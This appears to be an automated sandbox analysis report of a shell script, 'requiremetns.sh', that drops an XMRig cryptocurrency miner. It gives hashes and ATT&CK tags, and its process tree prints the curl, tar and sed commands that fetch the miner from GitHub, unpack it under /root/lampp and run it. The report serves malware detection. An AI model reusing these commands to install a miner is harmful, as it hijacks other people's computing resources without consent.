xmrig | d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

Analysis

max time kernel
18s
max time network
24s
platform
debian-12_mipsel
resource
debian12-mipsel-20240418-en
resource tags

arch:mipselimage:debian12-mipsel-20240418-enkernel:6.1.0-17-4kc-maltalocale:en-usos:debian-12-mipselsystem
submitted
01-07-2024 08:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

requiremetns.sh
Size

8KB
MD5

97423634cc1762b2f010cb860e7fb47d
SHA1

2f50775e8fe9ab98a80f06d835c5874091bf0b3e
SHA256

d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd
SHA512

bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f
SSDEEP

192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
/root/lampp/xmrig	family_xmrig
/root/lampp/xmrig	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Executes dropped EXE 2 IoCs

Processes:

xmrigxmrig

ioc pid process

/root/lampp/xmrig 793 xmrig
/root/lampp/xmrig 812 xmrig
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
2 raw.githubusercontent.com

ioc	pid	process
/root/lampp/xmrig	793	xmrig
/root/lampp/xmrig	812	xmrig

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

Processes:

sedmkdirtarsedsedgrepgreptar

description	ioc	process
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/filesystems	tar

Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.

Processes:

curlcurl

description ioc process

File opened for modification /tmp/xmrig.tar.gz curl
File opened for modification /tmp/xmrig.tar.gz curl

description	ioc	process
File opened for modification	/tmp/xmrig.tar.gz	curl
File opened for modification	/tmp/xmrig.tar.gz	curl

/tmp/requiremetns.sh
/tmp/requiremetns.sh
1⤵
PID:734

/usr/bin/cut
cut -f1 -d.
2⤵
PID:742

/usr/bin/nproc
nproc
2⤵
PID:749

/usr/bin/curl
curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
2⤵
- Writes file to tmp directory
PID:754

/usr/bin/mkdir
mkdir /root/lampp
2⤵
- Reads runtime system information
PID:788

/usr/bin/tar
tar xf /tmp/xmrig.tar.gz -C /root/lampp
2⤵
- Reads runtime system information
PID:789

/usr/local/sbin/gzip
gzip -d
3⤵
PID:790

/usr/local/bin/gzip
gzip -d
3⤵
PID:790

/usr/sbin/gzip
gzip -d
3⤵
PID:790

/usr/bin/gzip
gzip -d
3⤵
PID:790

/usr/bin/rm
rm /tmp/xmrig.tar.gz
2⤵
PID:791

/usr/bin/sed
sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
2⤵
- Reads runtime system information
PID:792

/root/lampp/xmrig
/root/lampp/xmrig --help
2⤵
- Executes dropped EXE
PID:793

/usr/bin/curl
curl -s https://github.com/xmrig/xmrig/releases/latest
2⤵
PID:797

/usr/bin/sed
sed "s/\"//g"
2⤵
- Reads runtime system information
PID:799

/usr/bin/grep
grep -o "\".*\""
2⤵
- Reads runtime system information
PID:798

/usr/bin/curl
curl -s
2⤵
PID:802

/usr/bin/grep
grep "xenial-x64.tar.gz\""
2⤵
- Reads runtime system information
PID:803

/usr/bin/cut
cut -d "\"" -f2
2⤵
PID:804

/usr/bin/curl
curl -L --progress-bar https://github.com -o /tmp/xmrig.tar.gz
2⤵
- Writes file to tmp directory
PID:805

/usr/bin/tar
tar xf /tmp/xmrig.tar.gz -C /root/lampp "--strip=1"
2⤵
- Reads runtime system information
PID:808

/usr/local/sbin/gzip
gzip -d
3⤵
PID:809

/usr/local/bin/gzip
gzip -d
3⤵
PID:809

/usr/sbin/gzip
gzip -d
3⤵
PID:809

/usr/bin/gzip
gzip -d
3⤵
PID:809

/usr/bin/rm
rm /tmp/xmrig.tar.gz
2⤵
PID:810

/usr/bin/sed
sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 0,/" /root/lampp/config.json
2⤵
- Reads runtime system information
PID:811

/root/lampp/xmrig
/root/lampp/xmrig --help
2⤵
- Executes dropped EXE
PID:812

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

/root/lampp/config.json
Filesize
2KB

MD5
f3294129e6b76283965ad86a815bf383

SHA1
5fe0ab538f86962efe82cb13fc2da745610740af

SHA256
578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

SHA512
07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

Download Submit
/root/lampp/sedxMDwuk
Filesize
2KB

MD5
249b7abb9dc15cc1b1ca5ae8f998de56

SHA1
05251c97858f5a47deb3c12bb6b88d0499f4e6da

SHA256
dc4afb2c0aa3527f2d80259bea8756a969856d4cf209de9070f890745a40e607

SHA512
a591839687de92238bf4813caf730c203fa0d840549a1e1a7a3b07890cdfe02ba9ecd054bf6bfca5df627db61e75754f39e3ca09f6e1e3e0c2a762e12cad2f8f

Download Submit
/root/lampp/xmrig
Filesize
8.4MB

MD5
e6b2f9d13d45c128b44cb5405df9ab39

SHA1
c07326f69240e3d22d134d156528af3bd5d0497b

SHA256
96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

SHA512
4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

Download Submit
/tmp/xmrig.tar.gz
Filesize
3.4MB

MD5
e003a3ec8bdd61151a61cadf950502c4

SHA1
2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

SHA256
80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

SHA512
ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9

Download Submit
/tmp/xmrig.tar.gz
Filesize
234KB

MD5
40e23c2cbe141c874793cbfc4c1c1e6a

SHA1
0226d5106f7ff3765831a5714fcd6e86e527434e

SHA256
d7c2f622e3baebf7fd6a7a579f133ee0adba20b7a9822c43cbee14e49f54bb3e

SHA512
8867ff373df1d1d4727ad7fd66ef535a90a739bc97940e696e5f7551db78c90a390d6b18e7525409544b47ae895e3948c6d8c4e226fb5f616709f9c77d8b3149

Download Submit